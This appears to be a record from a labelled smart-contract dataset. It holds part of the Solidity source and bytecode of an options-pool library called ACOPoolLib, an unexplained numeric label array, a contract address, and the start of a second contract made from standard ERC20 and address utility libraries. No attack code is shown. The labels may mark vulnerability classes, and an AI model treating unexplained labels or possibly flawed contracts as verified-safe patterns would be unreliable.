_getPoolBalanceOf(lendingToken); } underlyingWithdrawn = underlyingBalance.mul(shares).div(totalSupply); strikeAssetWithdrawn = strikeAssetBalance.mul(shares).div(totalSupply); } function getAmountToNoLockedWithdraw( uint256 shares, uint256 totalSupply, uint256 underlyingBalance, uint256 strikeAssetBalance, uint256 collateralBalance, uint256 minCollateral, bool isCall ) public pure returns( uint256 underlyingWithdrawn, uint256 strikeAssetWithdrawn ) { uint256 collateralAmount = shares.mul(collateralBalance).div(totalSupply); require(collateralAmount >= minCollateral, "ACOPoolLib: The minimum collateral was not satisfied"); if (isCall) { require(collateralAmount <= underlyingBalance, "ACOPoolLib: Collateral balance is not sufficient"); underlyingWithdrawn = collateralAmount; strikeAssetWithdrawn = strikeAssetBalance.mul(shares).div(totalSupply); } else { require(collateralAmount <= strikeAssetBalance, "ACOPoolLib: Collateral balance is not sufficient"); strikeAssetWithdrawn = collateralAmount; underlyingWithdrawn = underlyingBalance.mul(shares).div(totalSupply); } } function getBaseCollateralData( address lendingToken, address underlying, address strikeAsset, bool isCall, uint256 underlyingPrice, uint256 underlyingPriceAdjustPercentage, uint256 underlyingPrecision, bool isDeposit ) public view returns( uint256 underlyingBalance, uint256 strikeAssetBalance, uint256 collateralBalance ) { underlyingBalance = _getPoolBalanceOf(underlying); if (isCall) { strikeAssetBalance = _getPoolBalanceOf(strikeAsset); collateralBalance = underlyingBalance; if (isDeposit && strikeAssetBalance > 0) { uint256 priceAdjusted = _getUnderlyingPriceAdjusted(underlyingPrice, underlyingPriceAdjustPercentage, false); collateralBalance = collateralBalance.add(strikeAssetBalance.mul(underlyingPrecision).div(priceAdjusted)); } } else { strikeAssetBalance = _getPoolBalanceOf(lendingToken); collateralBalance = strikeAssetBalance; if (isDeposit && underlyingBalance > 0) { uint256 priceAdjusted = _getUnderlyingPriceAdjusted(underlyingPrice, underlyingPriceAdjustPercentage, true); collateralBalance = collateralBalance.add(underlyingBalance.mul(priceAdjusted).div(underlyingPrecision)); } } } function getOpenPositionCollateralBalance(OpenPositionData memory data) public view returns( uint256 collateralLocked, uint256 collateralOnOpenPosition, uint256 collateralLockedRedeemable ) { OpenPositionExtraData memory extraData = _getOpenPositionCollateralExtraData(data.acoToken, data.acoFactory); (collateralLocked, collateralOnOpenPosition, collateralLockedRedeemable) = _getOpenPositionCollateralBalance(data, extraData); } function quote(QuoteData memory data) public view returns( uint256 swapPrice, uint256 protocolFee, uint256 volatility, uint256 collateralAmount ) { require(data.expiryTime > block.timestamp, "ACOPoolLib: ACO token expired"); require(acoExpirationIsValid(data.expiryTime, data.minExpiration, data.maxExpiration), "ACOPoolLib: Invalid ACO token expiration"); require(acoStrikePriceIsValid(data.tolerancePriceBelow, data.tolerancePriceAbove, data.strikePrice, data.underlyingPrice), "ACOPoolLib: Invalid ACO token strike price"); uint256 collateralAvailable; (collateralAmount, collateralAvailable) = _getOrderSizeData(data.tokenAmount, data.underlying, data.isCall, data.strikePrice, data.lendingToken, data.underlyingPrecision); uint256 calcPrice; (calcPrice, volatility) = _strategyQuote(data.strategy, data.underlying, data.strikeAsset, data.isCall, data.strikePrice, data.expiryTime, data.underlyingPrice, data.baseVolatility, collateralAmount, collateralAvailable); (swapPrice, protocolFee) = _setSwapPriceAndFee(calcPrice, data.tokenAmount, data.fee, data.underlyingPrecision); } function _getCollateralAmount( uint256 tokenAmount, uint256 strikePrice, bool isCall, uint256 underlyingPrecision ) private pure returns(uint256) { if (isCall) { return tokenAmount; } else if (tokenAmount > 0) { return tokenAmount.mul(strikePrice).div(underlyingPrecision); } else { return 0; } } function _getOrderSizeData( uint256 tokenAmount, address underlying, bool isCall, uint256 strikePrice, address lendingToken, uint256 underlyingPrecision ) private view returns( uint256 collateralAmount, uint256 collateralAvailable ) { if (isCall) { collateralAvailable = _getPoolBalanceOf(underlying); collateralAmount = tokenAmount; } else { collateralAvailable = _getPoolBalanceOf(lendingToken); collateralAmount = _getCollateralAmount(tokenAmount, strikePrice, isCall, underlyingPrecision); require(collateralAmount > 0, "ACOPoolLib: The token amount is too small"); } require(collateralAmount <= collateralAvailable, "ACOPoolLib: Insufficient liquidity"); } function _strategyQuote( address strategy, address underlying, address strikeAsset, bool isCall, uint256 strikePrice, uint256 expiryTime, uint256 underlyingPrice, uint256 baseVolatility, uint256 collateralAmount, uint256 collateralAvailable ) private view returns(uint256 swapPrice, uint256 volatility) { (swapPrice, volatility) = IACOPoolStrategy(strategy).quote(IACOPoolStrategy.OptionQuote( underlyingPrice, underlying, strikeAsset, isCall, strikePrice, expiryTime, baseVolatility, collateralAmount, collateralAvailable )); } function _setSwapPriceAndFee( uint256 calcPrice, uint256 tokenAmount, uint256 fee, uint256 underlyingPrecision ) private pure returns(uint256 swapPrice, uint256 protocolFee) { swapPrice = calcPrice.mul(tokenAmount).div(underlyingPrecision); if (fee > 0) { protocolFee = swapPrice.mul(fee).div(PERCENTAGE_PRECISION); swapPrice = swapPrice.add(protocolFee); } require(swapPrice > 0, "ACOPoolLib: Invalid quoted price"); } function _getOpenPositionCollateralExtraData(address acoToken, address acoFactory) private view returns(OpenPositionExtraData memory extraData) { (address underlying, address strikeAsset, bool isCall, uint256 strikePrice, uint256 expiryTime) = IACOFactory(acoFactory).acoTokenData(acoToken); uint256 tokenAmount = IACOToken(acoToken).currentCollateralizedTokens(address(this)); extraData = OpenPositionExtraData(isCall, strikePrice, expiryTime, tokenAmount, underlying, strikeAsset); } function _getOpenPositionCollateralBalance( OpenPositionData memory data, OpenPositionExtraData memory extraData ) private view returns( uint256 collateralLocked, uint256 collateralOnOpenPosition, uint256 collateralLockedRedeemable ) { collateralLocked = _getCollateralAmount(extraData.tokenAmount, extraData.strikePrice, extraData.isCall, data.underlyingPrecision); if (extraData.expiryTime > block.timestamp) { (uint256 price,) = _strategyQuote(data.strategy, extraData.underlying, extraData.strikeAsset, extraData.isCall, extraData.strikePrice, extraData.expiryTime, data.underlyingPrice, data.baseVolatility, 0, 1); if (data.fee > 0) { price = price.mul(PERCENTAGE_PRECISION.add(data.fee)).div(PERCENTAGE_PRECISION); } if (extraData.isCall) { uint256 priceAdjusted = _getUnderlyingPriceAdjusted(data.underlyingPrice, data.underlyingPriceAdjustPercentage, false); collateralOnOpenPosition = price.mul(extraData.tokenAmount).div(priceAdjusted); } else { collateralOnOpenPosition = price.mul(extraData.tokenAmount).div(data.underlyingPrecision); } } else { collateralLockedRedeemable = collateralLocked; } } function _getUnderlyingPriceAdjusted(uint256 underlyingPrice, uint256 underlyingPriceAdjustPercentage, bool isMaximum) private pure returns(uint256) { if (isMaximum) { return underlyingPrice.mul(PERCENTAGE_PRECISION.add(underlyingPriceAdjustPercentage)).div(PERCENTAGE_PRECISION); } else { return underlyingPrice.mul(PERCENTAGE_PRECISION.sub(underlyingPriceAdjustPercentage)).div(PERCENTAGE_PRECISION); } } function _getPoolBalanceOf(address asset) private view returns(uint256) { if (asset == address(0)) { return address(this).balance; } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSelector(0x70a08231, address(this))); require(success, "ACOPoolLib::_getAssetBalanceOf"); return abi.decode(returndata, (uint256)); } } function _getAssetSymbol(address asset) private view returns(string memory) { if (asset == address(0)) { return "ETH"; } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSelector(0x95d89b41)); require(success, "ACOPoolLib::_getAssetSymbol"); return abi.decode(returndata, (string)); } } }
0x73f381bb51bc43bdedbb1cfc4daa79a644f9069f0430146080604052600436106100b35760003560e01c80637308598c1161007b5780637308598c14610158578063863b09861461017a578063ac7806a71461018d578063d2125430146101a0578063e256888f146101b3578063f713e37d146101c8576100b3565b80630404f7e6146100b8578063189f08e7146100e15780633395f1e5146100f4578063663590ff146101155780636d71063f14610138575b600080fd5b6100cb6100c63660046114e0565b6101ea565b6040516100d89190611686565b60405180910390f35b6100cb6100ef36600461150b565b610224565b61010761010236600461153c565b6102f6565b6040516100d8929190611a3d565b610128610123366004611289565b6103c4565b6040516100d89493929190611a79565b61014b6101463660046110c8565b6104f3565b6040516100d89190611691565b61016b6101663660046111fb565b610575565b6040516100d893929190611a63565b610107610188366004611424565b6105ae565b61010761019b366004611392565b61061b565b61016b6101ae36600461103b565b610679565b6101bb610745565b6040516100d89190611a34565b6101db6101d6366004611485565b61074c565b6040516100d893929190611a4b565b60006101fc428463ffffffff6107dd16565b841015801561021a5750610216428363ffffffff6107dd16565b8411155b90505b9392505050565b600084158015610232575083155b806102775750841580156102775750610274620186a061026861025b828863ffffffff6107dd16565b859063ffffffff61080b16565b9063ffffffff61084516565b83115b806102a35750831580156102a357506102a0620186a061026861025b828963ffffffff61088716565b83105b806102eb57506102c3620186a061026861025b828963ffffffff61088716565b83101580156102eb57506102e7620186a061026861025b828863ffffffff6107dd16565b8311155b90505b949350505050565b6000808061030e896102688c8963ffffffff61080b16565b9050848110156103395760405162461bcd60e51b8152600401610330906118b3565b60405180910390fd5b831561037d578781111561035f5760405162461bcd60e51b8152600401610330906116a4565b91508161037689610268898d63ffffffff61080b16565b91506103b7565b8681111561039d5760405162461bcd60e51b8152600401610330906116a4565b9050806103b4896102688a8d63ffffffff61080b16565b92505b5097509795505050505050565b600080600080428560a00151116103ed5760405162461bcd60e51b8152600401610330906116f4565b6104068560a001518661014001518761016001516101ea565b6104225760405162461bcd60e51b81526004016103309061186b565b610441856101800151866101a001518760800151886101c00151610224565b61045d5760405162461bcd60e51b815260040161033090611797565b600061048686602001518760400151886000015189608001518a60c001518b6101e001516108c9565b60e0880151604089015160608a01518a5160808c015160a08d01516101c08e01516101008f0151989a509698506000976104c297908b8b610949565b80955081925050506104e48188602001518961012001518a6101e00151610a2d565b90989097509395509193505050565b60606104fe84610aa1565b61050784610aa1565b8361052d576040518060400160405280600381526020016214155560ea1b81525061054b565b6040518060400160405280600481526020016310d0531360e21b8152505b60405160200161055d939291906115f6565b60405160208183030381529060405290509392505050565b6000806000610582610fdb565b6105948560e001518660c00151610b95565b90506105a08582610ceb565b919790965090945092505050565b60008060006105bc86610e06565b9050600084156105d6576105cf86610e06565b90506105e2565b6105df88610e06565b90505b6105f689610268848d63ffffffff61080b16565b935061060c89610268838d63ffffffff61080b16565b92505050965096945050505050565b600080600061062988610e06565b9050600086156106435761063c88610e06565b905061064f565b61064c85610e06565b90505b61066386610268848d63ffffffff61080b16565b935061060c86610268838d63ffffffff61080b16565b60008060006106878a610e06565b925087156106ec5761069889610e06565b91508290508380156106aa5750600082115b156106e75760006106bd88886000610ef0565b90506106e36106d682610268868a63ffffffff61080b16565b839063ffffffff6107dd16565b9150505b610737565b6106f58b610e06565b91508190508380156107075750600083115b1561073757600061071a88886001610ef0565b90506107336106d687610268878563ffffffff61080b16565b9150505b985098509895505050505050565b620186a081565b60008080806107658a6102688d8963ffffffff61080b16565b905088156107a0579250826107848a610268898e63ffffffff61080b16565b9250610796888663ffffffff6107dd16565b81111591506107cf565b9150816107b78a6102688a8e63ffffffff61080b16565b93506107c9878663ffffffff6107dd16565b81111591505b509750975097945050505050565b6000828201838110156108025760405162461bcd60e51b815260040161033090611760565b90505b92915050565b60008261081a57506000610805565b8282028284828161082757fe5b04146108025760405162461bcd60e51b81526004016103309061182a565b600061080283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f40565b600061080283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f77565b60008085156108e5576108db87610e06565b905087915061091e565b6108ee84610e06565b90506108fc88868886610fa3565b91506000821161091e5760405162461bcd60e51b8152600401610330906117e1565b8082111561093e5760405162461bcd60e51b815260040161033090611907565b965096945050505050565b6000808b6001600160a01b0316638d67bee26040518061012001604052808981526020018e6001600160a01b031681526020018d6001600160a01b031681526020018c151581526020018b81526020018a8152602001888152602001878152602001868152506040518263ffffffff1660e01b81526004016109cb91906119b7565b604080518083038186803b1580156109e257600080fd5b505afa1580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611401565b909d909c509a5050505050505050505050565b600080610a4483610268888863ffffffff61080b16565b91508315610a7857610a63620186a0610268848763ffffffff61080b16565b9050610a75828263ffffffff6107dd16565b91505b60008211610a985760405162461bcd60e51b81526004016103309061172b565b94509492505050565b60606001600160a01b038216610ad1575060408051808201909152600381526208aa8960eb1b6020820152610b90565b60408051600481526024810182526020810180516001600160e01b03166395d89b4160e01b17905290516000916060916001600160a01b03861691610b15916115da565b600060405180830381855afa9150503d8060008114610b50576040519150601f19603f3d011682016040523d82523d6000602084013e610b55565b606091505b509150915081610b775760405162461bcd60e51b815260040161033090611949565b80806020019051810190610b8b919061116f565b925050505b919050565b610b9d610fdb565b6000806000806000866001600160a01b031663398436b8896040518263ffffffff1660e01b8152600401610bd19190611672565b60a06040518083038186803b158015610be957600080fd5b505afa158015610bfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c219190611112565b945094509450945094506000886001600160a01b03166345f79d1b306040518263ffffffff1660e01b8152600401610c599190611672565b60206040518083038186803b158015610c7157600080fd5b505afa158015610c85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca9919061137a565b6040805160c08101825295151586526020860194909452928401919091525060608201526001600160a01b039283166080820152911660a08201529392505050565b6000806000610d0c8460600151856020015186600001518860800151610fa3565b92504284604001511115610dfc576000610d508660a0015186608001518760a00151886000015189602001518a604001518c600001518d6020015160006001610949565b50606087015190915015610d9257610d8f620186a0610268610d828960600151620186a06107dd90919063ffffffff16565b849063ffffffff61080b16565b90505b845115610dd4576000610daf876000015188604001516000610ef0565b9050610dcc8161026888606001518561080b90919063ffffffff16565b935050610df6565b610df3866080015161026887606001518461080b90919063ffffffff16565b92505b50610dff565b50815b9250925092565b60006001600160a01b038216610e1d575047610b90565b60006060836001600160a01b03166370a0823130604051602401610e419190611672565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610e7a91906115da565b600060405180830381855afa9150503d8060008114610eb5576040519150601f19603f3d011682016040523d82523d6000602084013e610eba565b606091505b509150915081610edc5760405162461bcd60e51b815260040161033090611980565b80806020019051810190610b8b919061137a565b60008115610f2657610f1f620186a0610268610f12828763ffffffff6107dd16565b879063ffffffff61080b16565b905061021d565b610f1f620186a0610268610f12828763ffffffff61088716565b60008183610f615760405162461bcd60e51b81526004016103309190611691565b506000838581610f6d57fe5b0495945050505050565b60008184841115610f9b5760405162461bcd60e51b81526004016103309190611691565b505050900390565b60008215610fb25750836102ee565b8415610fd357610fcc82610268878763ffffffff61080b16565b90506102ee565b5060006102ee565b6040518060c0016040528060001515815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b031681525090565b803561080581611aeb565b803561080581611b03565b600080600080600080600080610100898b031215611057578384fd5b883561106281611aeb565b9750602089013561107281611aeb565b9650604089013561108281611aeb565b9550606089013561109281611b03565b94506080890135935060a0890135925060c0890135915060e08901356110b781611b03565b809150509295985092959890939650565b6000806000606084860312156110dc578283fd5b83356110e781611aeb565b925060208401356110f781611aeb565b9150604084013561110781611b03565b809150509250925092565b600080600080600060a08688031215611129578081fd5b855161113481611aeb565b602087015190955061114581611aeb565b604087015190945061115681611b03565b6060870151608090970151959894975095949392505050565b600060208284031215611180578081fd5b815167ffffffffffffffff80821115611197578283fd5b81840185601f8201126111a8578384fd5b80519250818311156111b8578384fd5b6111cb601f8401601f1916602001611a94565b91508282528560208483010111156111e1578384fd5b6111f2836020840160208401611abb565b50949350505050565b600061010080838503121561120e578182fd5b61121781611a94565b833581526020840135602082015260408401356040820152606084013560608201526080840135608082015260a0840135915061125382611aeb565b8160a082015260c0840135915061126982611aeb565b8160c082015261127c8560e08601611025565b60e0820152949350505050565b600061020080838503121561129c578182fd5b6112a581611a94565b6112af8585611030565b8152602084013560208201526112c88560408601611025565b60408201526112da8560608601611025565b60608201526080840135608082015260a084013560a08201526113008560c08601611025565b60c08201526113128560e08601611025565b60e0820152610100848101359082015261012080850135908201526101408085013590820152610160808501359082015261018080850135908201526101a080850135908201526101c080850135908201526101e09384013593810193909352509092915050565b60006020828403121561138b578081fd5b5051919050565b60008060008060008060c087890312156113aa578182fd5b8635955060208701356113bc81611aeb565b945060408701356113cc81611aeb565b935060608701356113dc81611b03565b92506080870135915060a08701356113f381611aeb565b809150509295509295509295565b60008060408385031215611413578182fd5b505080516020909101519092909150565b60008060008060008060c0878903121561143c578384fd5b8635955060208701359450604087013561145581611aeb565b9350606087013561146581611aeb565b9250608087013561147581611aeb565b915060a08701356113f381611b03565b600080600080600080600060e0888a03121561149f578081fd5b873596506020880135955060408801356114b881611b03565b969995985095966060810135965060808101359560a0820135955060c0909101359350915050565b6000806000606084860312156114f4578081fd5b505081359360208301359350604090920135919050565b60008060008060808587031215611520578182fd5b5050823594602084013594506040840135936060013592509050565b600080600080600080600060e0888a031215611556578081fd5b873596506020880135955060408801359450606088013593506080880135925060a0880135915060c088013561158b81611b03565b8091505092959891949750929550565b6001600160a01b03169052565b15159052565b600081518084526115c6816020860160208601611abb565b601f01601f19169290920160200192915050565b600082516115ec818460208701611abb565b9190910192915050565b60006e020a1a7902827a7a6102ba924aa229608d1b8252845161162081600f850160208901611abb565b808301602d60f81b915081600f8201528551611643816010840160208a01611abb565b80820183601082015286519350611661846011830160208a01611abb565b909201601101979650505050505050565b6001600160a01b0391909116815260200190565b901515815260200190565b60006020825261080260208301846115ae565b60208082526030908201527f41434f506f6f6c4c69623a20436f6c6c61746572616c2062616c616e6365206960408201526f1cc81b9bdd081cdd59999a58da595b9d60821b606082015260800190565b6020808252601d908201527f41434f506f6f6c4c69623a2041434f20746f6b656e2065787069726564000000604082015260600190565b6020808252818101527f41434f506f6f6c4c69623a20496e76616c69642071756f746564207072696365604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252602a908201527f41434f506f6f6c4c69623a20496e76616c69642041434f20746f6b656e20737460408201526972696b6520707269636560b01b606082015260800190565b60208082526029908201527f41434f506f6f6c4c69623a2054686520746f6b656e20616d6f756e74206973206040820152681d1bdbc81cdb585b1b60ba1b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526028908201527f41434f506f6f6c4c69623a20496e76616c69642041434f20746f6b656e2065786040820152673834b930ba34b7b760c11b606082015260800190565b60208082526034908201527f41434f506f6f6c4c69623a20546865206d696e696d756d20636f6c6c61746572604082015273185b081dd85cc81b9bdd081cd85d1a5cd99a595960621b606082015260800190565b60208082526022908201527f41434f506f6f6c4c69623a20496e73756666696369656e74206c697175696469604082015261747960f01b606082015260800190565b6020808252601b908201527f41434f506f6f6c4c69623a3a5f676574417373657453796d626f6c0000000000604082015260600190565b6020808252601e908201527f41434f506f6f6c4c69623a3a5f676574417373657442616c616e63654f660000604082015260600190565b815181526020808301516001600160a01b0316908201526040808301516101208301916119e69084018261159b565b5060608301516119f960608401826115a8565b506080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525092915050565b90815260200190565b918252602082015260400190565b92835260208301919091521515604082015260600190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff81118282101715611ab357600080fd5b604052919050565b60005b83811015611ad6578181015183820152602001611abe565b83811115611ae5576000848401525b50505050565b6001600160a01b0381168114611b0057600080fd5b50565b8015158114611b0057600080fdfea26469706673582212206cadedaf78336cefbdc51d4ae224da1cb8320b82511ecb29dcecaada363a5bba64736f6c63430006060033
[ 4, 7, 11, 13, 5 ]
0xf381E8A36bc4aA7ebd9141C017765e6706E622d1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe 